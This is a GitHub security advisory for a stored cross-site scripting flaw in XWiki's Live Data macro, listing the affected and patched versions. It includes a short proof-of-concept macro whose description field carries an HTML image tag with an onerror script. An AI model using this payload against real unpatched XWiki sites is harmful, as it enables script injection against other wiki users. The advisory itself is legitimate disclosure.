ADVISORIES

GitHub Advisory Database

GHSA-32fq-m2q5-h83g

XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data

Details

Impact

A user without script rights can introduce a stored XSS by using the Live Data macro.

For instance:

{{liveData id="movies" properties="title,description"}}
{
  "data": {
    "count": 1,
    "entries": [
      {
        "title": "Meet John Doe",
        "url": "https://www.imdb.com/title/tt0033891/",
        "description": "<img onerror='alert(1)' src='foo' />"
      }
    ]
  },
  "meta": {
    "propertyDescriptors": [
      {
        "id": "title",
        "name": "Title",
        "visible": true,
        "displayer": {"id": "link", "propertyHref": "url"}
      },
      {
        "id": "description",
        "name": "Description",
        "visible": true,
        "displayer": "html"
      }
    ]
  }
}
{{/liveData}}

Patches

This has been patched in XWiki 14.9, 14.4.7, and 13.10.10.

Workarounds

No known workaround.

References

https://jira.xwiki.org/browse/XWIKI-20143

For more information

If you have any questions or comments about this advisory:

Affected packages

EcosystemPackageAffected versions
Mavenorg.xwiki.platform:xwiki-platform-livedata-macro
From 12.10 before 13.10.10 (fixed in 13.10.10)
Mavenorg.xwiki.platform:xwiki-platform-livedata-macro
From 14.0 before 14.4.7 (fixed in 14.4.7)
Mavenorg.xwiki.platform:xwiki-platform-livedata-macro
From 14.5 before 14.9 (fixed in 14.9)

References